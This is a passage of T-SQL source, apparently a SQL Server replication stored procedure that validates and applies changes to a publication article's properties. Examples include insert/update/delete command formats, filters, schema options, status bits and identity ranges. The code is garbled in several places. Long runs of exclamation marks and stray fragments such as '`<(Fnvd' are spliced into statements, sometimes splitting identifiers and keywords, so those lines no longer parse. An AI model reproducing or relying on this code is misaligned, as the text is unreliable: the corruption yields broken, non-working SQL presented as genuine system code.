            raiserror (15251, 16, 1, '@del_cmd', 'NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name')
            return 1
        end
        else if @property = 'upd_cmd' and @value is not null 
        	and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'SCALL')
        begin
            -- Invalid '@upd_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or MCALL sp_MSdel_article.
            raiserror (15251, 16, 1, '@upd_cmd', 'NONE, SQL, CALL sp_MSupd_article, XCALL sp_MSupd_article, MCALL sp_MSupd_article or SCALL sp_MSupd_article')
            return 1
        end
    END
    
    IF @property IN ( 'ins_cmd', 'del_cmd', 'upd_cmd' )
    		AND @publisher_type = N'MSSQLSERVER'
    BEGIN
        /*
        ** Parameter Check:  @ins_cmd, @del_cmd, @upd_cmd
        ** Check to see that the cmd is valid
        */
        select @value = rtrim(ltrim(@value))
        if @property = 'ins_cmd' and @value is not null 
			and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ', N'SCALL')
        begin
            -- Invalid '@ins_cmd' specified. It must be NONE, SQL, CALL sp_MSins_article, SCALL sp_MSins_article or CALL custom_stored_procedure_name.
            raiserror (15251, 16, 1, '@ins_cmd', 'NONE, SQL, CALL sp_MSins_article, SCALL sp_MSins_article or CALL custom_stored_procedure_name')
            return 1
        end
        else if @property = 'del_cmd' and @value is not null 
        	and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'VCALL')
        begin
            -- Invalid '@del_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or CALL custom_stored_procedure_name.
            raiserror (15251, 16, 1, '@del_cmd', 'NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article, VCALL sp_MSdel_article or CALL custom_stored_procedure_name')
            return 1
        end
        else if @property = 'upd_cmd' and @value is not null 
        	and sys.fn_MSrepltranparsecmdtype(@value) not in (N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL')
        begin
            -- Invalid '@upd_cmd' specified. It must be NONE, SQL, CALL sp_MSdel_article, XCALL sp_MSdel_article or MCALL sp_MSdel_article.
            raiserror (15251, 16, 1, '@upd_cmd', 'NONE, SQL, CALL sp_MSupd_article, XCALL sp_MSupd_article, MCALL sp_MSupd_article, VCALL sp_MSupd_article or SCALL sp_MSupd_article')
            return 1
        end
        --
        -- concurrent snapshot articles should use procs cuz we need to customize the compensating del/ins
        -- it should be OK to allow SQL/None for upd though
        --
        if exists (select * from syspublications 
                where pubid = @pubid and sync_method in (3, 4)) 
		BEGIN
			if len(@value) > @customprocmaxlen_minus_ccs_appendix
			begin
				RAISERROR( 21155, 16, -1, @article,  @customprocmaxlen_minus_ccs_appendix)
				return 1
			end
        END
        --
        -- for VCALL - msrepl_tran_version column should exist and be of type uniqueidentifier
        --
        if @property in ( 'del_cmd', 'upd_cmd' ) and (upper(left(@value,5)) = N'VCALL')
        begin
            declare @msrepl_tran_version_datatype sysname
            select @msrepl_tran_version_datatype = type_name(system_type_id)
            FROM sys.columns  
            WHERE object_id = @objid AND name = 'msrepl_tran_version'
            if (@msrepl_tran_version_datatype != 'uniqueidentifier')
            begin
                raiserror(21567, 16, -1) 
                return 1
            end
        end
        --
        -- allow custom procedure to have spaces and special characters
        -- we will quote the custom procedure as follows:
        -- XXXX sp_MSxxx_custom_proc_name  or  XXXX x_GUID will become
        -- XXXX [dbo].[sp_MSxxx_custom_proc_name]  or XXXX [dbo].[x_GUID]
        -- if the custom procedure is already quoted in some form - user
        -- specified custom procedure name - then we will not change it
        --
        if (@property = 'ins_cmd' and (upper(left(@value, 5)) in (N'CALL ', N'SCALL'))) or 
                (@property = 'del_cmd' and (upper(left(@value, 5)) in (N'CALL ', N'XCALL', N'VCALL'))) or
                (@property = 'upd_cmd' and (upper(left(@value, 5)) in (N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL'))) 
        begin
            declare @tmp_value nvarchar(386) = @value

			if (@destination_owner is null)
				set @prependDBO = 1

            select @value = sys.fn_repltranquotecustomproc(@value, @prependDBO) 
            if @value = N''
            begin
              raiserror (22829, 16, -1, @tmp_value, N'dbo', 255)
              return 1
	     end
        end
    END -- IF @property IN ( 'ins_cmd', 'del_cmd', 'upd_cmd' )

    declare @need_new_snapshot bit
        ,@need_reinit_subscription bit

    select @need_new_snapshot = 0
             ,@need_reinit_subscription = 0

    if @property in ( N'dest_table', N'destination_owner' ,N'type',N'filter',  
        N'pre_creation_cmd', N'schema_option') or 
        (LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'status' and LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) in (@dts_part,
        @no_dts_part))
    begin
        select @need_new_snapshot = 1
                  ,@need_reinit_subscription = 1
    end
    else if @property in ( 'ins_cmd', 'del_cmd', 'upd_cmd' ) and 
    		(@auto_gen = 0 )
    begin
    	 --
        -- If autogeneration is not supported 
        --
        select @need_new_snapshot = 1
                  ,@need_reinit_subscription = 1
    end
    else if @property in ('sync_object', 'creation_script')
    begin
        select @need_new_snapshot = 1
    end

    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= @need_new_snapshot,
						@need_reinit_subscription	= @need_reinit_subscription,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@check_only					= 1,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        return(1)

    /*
    ** Change the property.
    */

    -------------------------------------------------------------------------
    -- HREPL properties (can't use the transaction)
    -------------------------------------------------------------------------
	IF @property IN ('tablespace')
	BEGIN
		EXEC @retcode = sys.sp_ORAChangeTableSpace	@publisher		= @publisher,
													@publication_id	= @pubid,
													@article_id		= @artid,
					!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Fnvd								@tablespace		= @value
		
		IF @@ERROR <> 0 OR @retcode <> 0
			GOTO UNDO

	END -- tablespace PROPERTY

    begin tran
	save TRAN sp_changearticle

	IF @property IN ( 'description', 'ins_cmd', 'del_cmd', 'upd_cmd', 'dest_table', 'creation_script', 'dest_object')
	BEGIN
		if @publisher_type = N'MSSQLSERVER' AND @property in ( 'ins_cmd', 'del_cmd', 'upd_cmd' ) 
		begin
			declare @schema_start_lsn binary(10)
						,@schema_end_lsn binary(10)

			if (@property = 'ins_cmd' and upper(@value) = 'SQL' and OBJECTPROPERTY(@objid, 'tablehasidentity') = 1)
			begin
				--
				-- special processing for ins_cmd when value = 'sql'
				-- set status bit 0x8 for colname specification in commands
				-- this enables proper identity NFR processing in Shiloh server
				-- 
				update sysarticles set status = status | 8
				where artid = @artid and objid = @objid and (status & 8 != 8)
			end
			
			exec @retcode = sys.sp_replincrementlsn_internal @schema_start_lsn OUTPUT
			if @@ERROR<>0 or @retcode <> 0
				GOTO UNDO

    		exec @retcode = sys.sp_replpostcmd 0, @objid, @artid, 51, @objid
			if(@retcode <> 0) or (@@error <> 0)
				GOTO UNDO

			exec @retcode = sys.sp_replincrementlsn_internal @schema_end_lsn OUTPUT
			if @@ERROR<>0 or @retcode <> 0
				GOTO UNDO

			if (@schema_start_lsn is not null) and (@schema_end_lsn is not null)
			begin
				insert systranschemas (tabid, startlsn, endlsn, typeid) values (@objid, @schema_start_lsn, @schema_end_lsn, 51)
				if @@ERROR<>0
					GOTO UNDO
			end
		end
		
        /*
		** Check the validity of the destination object.  NULL should
		** get converted to the source object name.  Destination object
		** names can be owner qualified, but not database qualified.
		*/
		IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dest_table' OR LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'dest_object'
		BEGIN
			IF @value IS NULL
				SELECT @value = object_name(objid)
				FROM sysarticles
				WHERE artid = @artid
					AND pubid = @pubid
		END
		SELECT @cmd1 = 'UPDATE sysarticles '
		IF @value IS NULL
		BEGIN
			SELECT @cmd1 = @cmd1 + '   SET ' + LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) + ' = NULL'
			SELECT @cmd2 = ' WHERE artid = ' + STR(@artid)
			SELECT @cmd2 = @cmd2 + '   AND pubid = ' + STR(@pubid)
			EXECUTE (@cmd1 + @cmd2)
		END
		ELSE
		BEGIN
			SELECT @cmd1 = @cmd1 + '   SET ' + LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) + ' = ' + sys.fn_replquotename(@value, N'''') collate SQL_Latin1_General_CP1_CS_AS
			SELECT @cmd2 = ' WHERE artid = ' + STR(@artid)
			SELECT @cmd2 = @cmd2 + '   AND pubid = ' + STR(@pubid)
			EXECUTE (@cmd1 + @cmd2)
		END

		IF @publisher_type = N'MSSQLSERVER'
			AND LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'upd_cmd'
		BEGIN
			IF ( 0 <> ( SELECT PATINDEX( '%[789].[0-9]%', @@version ) ) ) OR
				( 0 <> ( SELECT PATINDEX( '%[1-9][0-9].[0-9]%', @@version ) ) )
			BEGIN
				exec sys.sp_MSsetfilteredstatus @objid
			END
		END

		IF @@ERROR <> 0 
			GOTO UNDO
		--
		-- For command changes - post regenerated custom procedures
		-- if autogeneration is enabled and it is not SQL format
		--
		if @property in ( 'ins_cmd', 'del_cmd', 'upd_cmd' ) and (@auto_gen > 0) and
			(upper(left(ltrim(@value), 3)) != N'SQL')
		begin
			declare @temp_id int

			select @temp_id = case @property 	when 'ins_cmd' then 1
												when 'del_cmd' then 2
												when 'upd_cmd' then 3
											end

			exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @artid, @procmapid = @temp_id, @for_p2p_ddl = @for_p2p_ddl
			if (@retcode <> 0) or (@@error <> 0)
				GOTO UNDO

			--
			-- For XCALL - set proper status for logreader
			--
			exec @retcode = sys.sp_MSsetfilteredstatus @objid
			if(@retcode <> 0) or (@@error <> 0)
				GOTO UNDO
			--
			-- Flush the article cache for logreader to pick the change
			--
			exec @retcode = sys.sp_replflush
			if(@retcode <> 0) or (@@error <> 0)
				GOTO UNDO
		end
	END -- if property in ('description',....)

	IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'sync_object'
	BEGIN
		/*
		** Check for a valid synchronization object.
		*/

		IF (@publisher_type != N'MSSQLSERVER')
		BEGIN
			RAISERROR (21632, 16, -1, '@sync_object', 'NULL')
			GOTO UNDO
		END
		
		IF @value IS NULL
		BEGIN
			RAISERROR (14043, 16, -1, '@value', 'sp_MSrepl_changearticle')
			GOTO UNDO
		END

		IF @value LIKE '%.%.%' OR @value LIKE '%.%'
		BEGIN
			select @object = PARSENAME( @value, 1 )
			select @owner = PARSENAME(  @value, 2 )
			select @db = PARSENAME(  @value, 3 )
			select @site = PARSENAME(  @value, 4 )

			if @object IS NULL
				GOTO UNDO
		END

		SELECT @sync_objid = OBJECT_ID(@value)
		IF @sync_objid IS NULL
		BEGIN
			RAISERROR (15001, 11, -1, @value)
			GOTO UNDO
		END

		IF NOT EXISTS
		(
			SELECT	*
			FROM	sys.objects
			WHERE	type IN ('U', 'V')
			AND		object_id = @sync_objid
		)
		BEGIN
			RAISERROR (14031, 16, -1)
			GOTO UNDO
		END

		/*
		** Update the article with the new synchronization object.
		*/

		UPDATE	sysarticles
		SET		sync_objid = @sync_objid
		WHERE	artid = @artid
		AND		pubid = @pubid

		IF @@ERROR <> 0 
			GOTO UNDO
	END	-- sync object property

	IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'type'
	BEGIN
		/*
		** Check to make sure that we have a valid type.
		*/

		SELECT @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
	    
		IF (@publisher_type = N'MSSQLSERVER')
		BEGIN
			IF @value NOT IN (
				'logbased', 
				'logbased manualfilter', 
				'logbased manualview', 
				'logbased manualboth',                    
				'indexed view logbased', 
				'indexed view logbased manualfilter', 
				'indexed view logbased manualview', 
				'indexed view logbased manualboth')
			BEGIN
				RAISERROR (14023, 16, -1)
				GOTO UNDO
			END
		END
		ELSE
		BEGIN
			IF @value != 'logbased'
			BEGIN
				RAISERROR(21601, 16, 1)
				RETURN (1) 
			END
		END

		IF @objtype = 'V' AND @value NOT IN (
			'indexed view logbased', 
			'indexed view logbased manualfilter', 
			'indexed view logbased manualview', 
			'indexed view logbased manualboth')
		BEGIN
			RAISERROR (18795, 16, -1)
			GOTO UNDO
		END
		ELSE IF @value NOT IN (
			'logbased', 
			'logbased manualfilter', 
			'logbased manualview', 
			'logbased manualboth')
		BEGIN
			RAISERROR (18796, 16, -1)
			GOTO UNDO
		END                    

		/*
		** Determine the integer value for the type.
		*/
		IF @value IN ('logbased', 'indexed view logbased')
			SELECT @typeid = 1
		ELSE IF @value IN ('logbased manualfilter', 'indexed view logbased manualfilter')
			SELECT @typeid = 3
		ELSE IF @value IN ('logbased manualview', 'indexed view logbased manualview')
			SELECT @typeid = 5
		ELSE IF @value IN ('logbased manualboth', 'indexed view logbased manualboth')
			SELECT @typeid = 7

		/*
		** Update the article with the new type.
		*/

		UPDATE	sysarticles
		SET		type = @typeid
		WHERE	artid = @artid
		AND		pubid = @pubid

		IF @@ERROR <> 0 
			GOTO UNDO
	END	-- type property

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'filter'
	BEGIN
        /*
        ** Check for a valid filter value.
        */

        IF NOT @publisher_type = N'MSSQLSERVER'
        BEGIN
            RAISERROR(21632, 16, -1, '@filter', 'NULL')
            GOTO UNDO
        END

		IF @value IS NOT NULL
		BEGIN

			IF @value LIKE '%.%.%' OR @value LIKE '%.%'
			BEGIN
				select @object = PARSENAME( @value, 1 )
				select @owner = PARSENAME(  @value, 2 )
				select @db = PARSENAME(  @value, 3 )
				select @site = PARSENAME(  @value, 4 )

				if @object IS NULL
				begin
        			raiserror (21344, 16, -1, '@value')
        			GOTO UNDO
                		end
			END
		END

		SELECT @filter = OBJECT_ID(@value)

		I!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(FCyvdF @value IS NOT NULL
		BEGIN
			IF @filter IS NULL
			BEGIN
				RAISERROR (15001, 11, -1, @value)
        			GOTO UNDO
			END

			IF NOT EXISTS
			(
				SELECT	*
				FROM	sys.objects
				WHERE	type = 'RF'
				AND		object_id = @filter
			)
			BEGIN
				RAISERROR (14049, 16, -1)
        			GOTO UNDO
			END
		END

		IF @value IS NULL SELECT @filter = 0

        -----------------------------
        -- save off the old filter
        -----------------------------

        SELECT @old_filter_name = object_name( filter )
        FROM sysarticles WHERE artid = @artid
        AND pubid = @pubid

        IF @@ERROR <> 0 
		GOTO UNDO

        --------------------------------------------
        -- Update the article with the new filter.
        --------------------------------------------

        UPDATE sysarticles
            SET filter = @filter
            WHERE artid = @artid
            AND pubid = @pubid

        IF @@ERROR <> 0 
		GOTO UNDO

        -- SQL SERVER > 7.x ONLY  disassociate old filter with table
        -- and associate new one

        IF ( 0 <> ( SELECT PATINDEX( '%[789].[0-9]%', @@version ) ) ) OR
            ( 0 <> ( SELECT PATINDEX( '%[1-9][0-9].[0-9]%', @@version ) ) )   
        BEGIN

            ------------------------------------------
            -- disassociate table from old filter proc
            ------------------------------------------

            EXEC sys.sp_MSsetfilterparent @old_filter_name, 0

            IF @@ERROR <> 0
		GOTO UNDO

            ------------------------------------------------------
            -- set the parent of the filter proc to this object_id
            ------------------------------------------------------

            EXEC sys.sp_MSsetfilterparent @value, @objid

            IF @@ERROR <> 0
		GOTO UNDO
        END
	END	-- filter property

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'pre_creation_cmd'
    BEGIN

        /*
        ** Check to make sure that we have a valid pre_creation_cmd.
        */
    IF @objtype = 'P' and LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'drop')
        BEGIN
            RAISERROR ( 14111, 16, -1 )
            GOTO UNDO
        END

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('none', 'drop', 'delete', 'truncate')
            BEGIN
                RAISERROR (14061, 16, -1)
                GOTO UNDO
            END

        /*
        ** Determine the integer value for the type.
        */

        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'none'
            SELECT @precmdid = 0
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'drop'
            SELECT @precmdid = 1
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'delete'
            SELECT @precmdid = 2
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'truncate'
            SELECT @precmdid = 3

        /*
        ** Update the article with the new pre_creation_cmd.
        */
        UPDATE sysarticles
            SET pre_creation_cmd = @precmdid
            WHERE artid = @artid
            AND pubid = @pubid

        IF @@ERROR <> 0 
		GOTO UNDO

    END	-- pre_creation_cmd property

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'status'
    BEGIN

        /*
        ** Determine the integer value for the type.
        */
		IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'none'
		BEGIN
			UPDATE	sysarticles
			SET		status = 0
			WHERE	artid = @artid
			  AND	pubid = @pubid
		END
		ELSE
		BEGIN
			IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'not owner qualified'
				UPDATE sysarticles 
				SET status = status & ~4
				WHERE artid = @artid
				  AND pubid = @pubid

			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'owner qualified'
				UPDATE sysarticles 
				SET status = status | 4
				WHERE artid = @artid
				  AND pubid = @pubid

			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'no column names'
				UPDATE sysarticles 
				SET status = status & ~8
				WHERE artid = @artid
				  AND pubid = @pubid

			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'include column names'
				UPDATE sysarticles 
				SET status = status | 8
				WHERE artid = @artid
				  AND pubid = @pubid

			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'string literals'
				UPDATE sysarticles 
				SET status = status & ~16
				WHERE artid = @artid
				  AND pubid = @pubid

			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'parameters'
				UPDATE sysarticles 
				SET status = status | 16
				WHERE artid = @artid
				  AND pubid = @pubid
			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = @dts_part
			begin
				IF EXISTS
				(
					SELECT	*
					FROM	sysarticles
					WHERE	artid = @artid
					  AND	status & 64 = 0
				)
				BEGIN
					UPDATE	sysarticles 
					SET		status = status | 64,
							upd_cmd = N'XCALL sp_MSXpd_' + @article
					WHERE	artid = @artid
				END
			END
			ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = @no_dts_part
			BEGIN
				IF EXISTS
				(
					SELECT	*
					FROM	sysarticles
					WHERE	artid = @artid
					  AND	status & 64 <> 0
				)
				BEGIN
					UPDATE	sysarticles 
					SET		status = status & ~64,
							upd_cmd = N'CALL sp_MSupd_' + @article
					WHERE	artid = @artid
				END
			END
			
			IF @@ERROR <> 0 
				GOTO UNDO
		END
    END	-- status property

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'schema_option'
    BEGIN
        IF @value IS NULL
        BEGIN
            RAISERROR(14146, 16,1)
            GOTO UNDO
        END

		IF sys.fn_isvalidhexstr(@value) = 0
			AND ISNUMERIC(@value) = 0
		BEGIN
			-- '@value' is not a valid value for the '@value' parameter. The value must be an integer.
			RAISERROR(21805, 16, -1, @value, '@value')
			GOTO UNDO
		END
		
        CREATE TABLE #tab_changearticle (value varbinary(8) NULL)
                                
        IF @@ERROR <> 0 
            GOTO UNDO

        EXEC ('insert #tab_changearticle values (' + @value +')' )

        IF @@ERROR <> 0 
            GOTO UNDO

		-- Cache the schema option in int form for further checking
        declare @schema_option_hidword int

		declare	@schema_option_lodword int
        
        select	@schema_option_lodword = sys.fn_replgetbinary8lodword(fn_replprepadbinary8(value)),
                @schema_option_hidword = sys.fn_replgetbinary8hidword(fn_replprepadbinary8(value))
        from	#tab_changearticle

        DROP TABLE #tab_changearticle 
	    DECLARE @valid_schema_options	int
		IF @publisher_type != N'MSSQLSERVER'
		BEGIN

			-- Restrict HREPL schema options
            SELECT @valid_schema_options = 0xD0D3
            IF (@schema_option_lodword & ~@valid_schema_options) <> 0 OR
                @schema_option_hidword <> 0
            BEGIN
                RAISERROR (21635, 16, -1)
                GOTO UNDO
            END
		END
        
        IF @objtype in ('P', 'PC')
        BEGIN
            SELECT @valid_schema_options = 0xFAC03021 
            IF (@schema_option_lodword & ~@valid_schema_options) <> 0
            BEGIN
                RAISERROR ( 20014, 16, -1 )
                GOTO UNDO
            END
        END

        --
        -- For updating subscriber publications
        -- DRI option has to be included
        --
        if ((@allow_queued_tran = 1 or @allow_sync_tran = 1) and ((@schema_option_lodword & 0x80) = 0))
        BEGIN
            RAISERROR (21394, 16, 2)
            GOTO UNDO
        END
        
        if @publisher_type = N'MSSQLSERVER' 
        begin
            --
            -- Check schema option for timestamp
            --
            if (@schema_option_l!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F,rvdodword & 0x8 = 0)
            begin
                --
                -- Timestamp scripting disabled
                -- For Queued this cannot be allowed
                --
                if (@allow_queued_tran = 1)
                begin
                    raiserror (29003, 16, 1)
                    goto UNDO
                end

                --
                -- Try to find out if there is a timestamp
                -- column that needs to be included in sysarticlecolumns
                -- now that it is replicated as binary(16)
                -- Note: There can only be one timestamp column per table.
                --
                set @timestampcolumn = null

                select @timestampcolumn = columns.name
                  from sys.columns columns
            inner join dbo.sysarticles arts
                    on columns.object_id = arts.objid
                 where arts.artid = @artid
                   and (arts.status & 32 != 0)
                   and columns.system_type_id = 189

                --
                -- status bit 32 should be reset as well
                --
                update sysarticles set status = (status & ~32)
                where artid = @artid and (status & 32 != 0)
                if @@error != 0 
                    goto UNDO

                if @timestampcolumn is not null
                begin
                    exec @retcode = sys.sp_articlecolumn 
                        @publication = @publication ,
                        @article = @article,
                        @column = @timestampcolumn,
                        @operation = N'add',
                        @force_invalidate_snapshot = @force_invalidate_snapshot,
                        @force_reinit_subscription = @force_reinit_subscription
                    if @@error != 0 or @retcode != 0
                        goto UNDO         
                end
            end
            else
            begin
                -- If the timestamp column is part of the primary key, we
                -- can't really replicate the timestamp column as a timestamp
                -- column as that will violate the equivalency of primary key
                -- values that transactional replication is based on. As such,
                -- we will implicitly turn off the KeepTimestamp(0x08) schema 
                -- option if the primary key contains a timestamp column.
                --
                if @repl_freq = 0 and 
                   exists (select c.name 
                             from sys.columns c
                       inner join sys.index_columns ic
                               on c.column_id = ic.column_id
                              and c.object_id = ic.object_id
                              and ic.is_included_column = 0
                       inner join sys.indexes i
                               on i.index_id = ic.index_id
                              and i.object_id = ic.object_id
                              and i.is_primary_key = 1
                            where c.object_id = @objid
                              and c.system_type_id = 189)
                begin
                    set @schema_option_lodword = @schema_option_lodword & ~8
                end
                else
                begin

                --
                -- Try to find out if there is a timestamp
                -- column that is currently replicated as a binary column.
                -- If so, it should be removed from sysarticlecolumns
                -- once the 0x8 schema option is enabled
                --
                select @timestampcolumn = columns.name
                  from sys.columns columns
            inner join dbo.sysarticlecolumns artcols
                    on columns.column_id = artcols.colid
            inner join dbo.sysarticles arts
                    on columns.object_id = arts.objid
                   and artcols.artid = arts.artid
                 where arts.artid = @artid
                   and (arts.status & 32 = 0)
                   and columns.system_type_id = 189

                --
                -- Timestamp scripting enabled
                -- status bit 32 should be set as well
                --
                update sysarticles set status = (status |32)
                where artid = @artid and (status & 32 = 0)
                if @@error != 0 
                    goto UNDO
                if @timestampcolumn is not null
                begin
                       exec @retcode = sys.sp_articlecolumn 
                            @publication = @publication ,
                            @article = @article,
                            @column = @timestampcolumn,
                            @operation = N'add',
                            @force_invalidate_snapshot = @force_invalidate_snapshot,
                            @force_reinit_subscription = @force_reinit_subscription
                        if @@error != 0 or @retcode != 0
                            goto UNDO
                end
            end
            end 
			--
			-- Check schema option for identity scripting
			--
			if (@schema_option_lodword & 0x4 = 0)
			begin
				--
				-- identity scripting disabled
				-- If the identity range management is AUTO 
				-- then this cannot be allowed
				--
				if exists (select * from sysarticleupdates where artid = @artid and identity_support = 1)
				begin
					raiserror (29003, 16, 2)
					goto UNDO
				end
				--
				-- If the identity range management is MANUAL 
				-- then this cannot be allowed for Queued and P2P
				--
				if exists (select name from sys.columns where object_id = @objid and is_identity = 1 
                            and ColumnProperty(object_id, name, 'IsIdNotForRepl') = 1 )
				begin
					if (@for_p2p_ddl = @OPT_ENABLED_FOR_P2P) or (@allow_queued_tran = 1)
					begin
						raiserror (29003, 16, 3)
						goto UNDO
					end
				end
			end
			else
			begin
				--
				-- identity scripting enabled
				-- Need to mark the identity column as NFR
				--
				select @colname = name
				from sys.columns
				where object_id = @objid and
					is_identity = 1 and -- is identity
					ColumnProperty(object_id, name, 'IsIdNotForRepl') = 0 
				if @colname is not null
				begin
					-- Mark 'not for repl'
					EXEC %%ColumnEx(ObjectID = @objid, Name = @colname).SetIdentityNotForRepl(Value = 1)
					IF @@ERROR <> 0
						GOTO UNDO
				end
			end
		end
		
        -- Seems to be a good place to check and see if using 
        -- collation 0x00001000 or extended property 0x00002000
        if
        (
            (@schema_option_lodword & 0x000001000 <> 0) or 
            (@schema_option_lodword & 0x000002000 <> 0)
        )
        BEGIN
            select @backward_comp_level = 40
        END

        declare @schema_option bigint
        set @schema_option = convert(bigint,sys.fn_replcombinehilodwordintobinary8(@schema_option_hidword, @schema_option_lodword))
        --once we are here, article partition has been updated up to current point, now check on UDT dependency
		if	((@schema_option & 0x000000B000000020) <> 0) and
		exists (select * from sys.columns where object_id = @objid and system_type_id = 240)
		begin
			if (sys.fn_MSrepl_dependUDT(@objid, @schema_option, @artid) = 1 )
			begin
			    raiserror (21839, 16, 1, @article)
			    GOTO UNDO
			end
		end
        UPDATE sysarticles 
        SET schema_option = convert(binary(8),@schema_option) 
        WHERE artid = @artid
          AND pubid = @pubid

                                
        IF @@ERROR <> 0 
            GOTO UNDO
    END -- schema option property

    IF LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'destination_owner'
    BEGIN
        IF LEN(@value) = 0
        BEGIN
            SET @value = NULL
        END

      !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(F3#vd  IF @value IS NOT NULL
        BEGIN
            EXECUTE @retcode = sys.sp_validname @value

            IF @retcode <> 0
                GOTO UNDO
        END

        UPDATE sysarticles
        SET dest_owner = @value
        FROM sysarticles
        WHERE artid = @artid
          AND pubid = @pubid
                                
        IF @@ERROR <> 0 
            GOTO UNDO
    END

        
    if  LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'pub_identity_range'
    begin
        if not exists (select * from sysarticleupdates where artid = @artid and
            identity_support = 1)
        begin
            raiserror(21235, 16, -1, @property)
            goto UNDO
        end

        declare @pub_range bigint
        select @pub_range = convert(bigint, @value) 
        if @pub_range < 0
        begin
            raiserror(21232, 16, -1)
            goto UNDO
        end

        if exists (select * from MSpub_identity_range where objid = @objid and
            pub_range < 0)
            select @pub_range = @pub_range * -1
        
        update MSpub_identity_range set
            pub_range = @pub_range 
            where objid=@objid
        if @@error < 0
            goto UNDO
    end
            
    if  LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'identity_range'
    begin
        if not exists (select * from sysarticleupdates where artid = @artid and
            identity_support = 1)
        begin
            raiserror(21235, 16, -1, @property)
            goto UNDO
        end

        declare @range bigint
        select @range = convert(bigint, @value) 
        if @range < 0
        begin
            raiserror(21232, 16, -1)
            goto UNDO
        end

        if exists (select * from MSpub_identity_range where objid = @objid and
            range < 0)
            select @range = @range * -1
        
        update MSpub_identity_range set
            range = @range 
            where objid=@objid
        if @@error < 0
            goto UNDO

        -- Distributor side data will be changed later by sp_MSchange_article.
    end

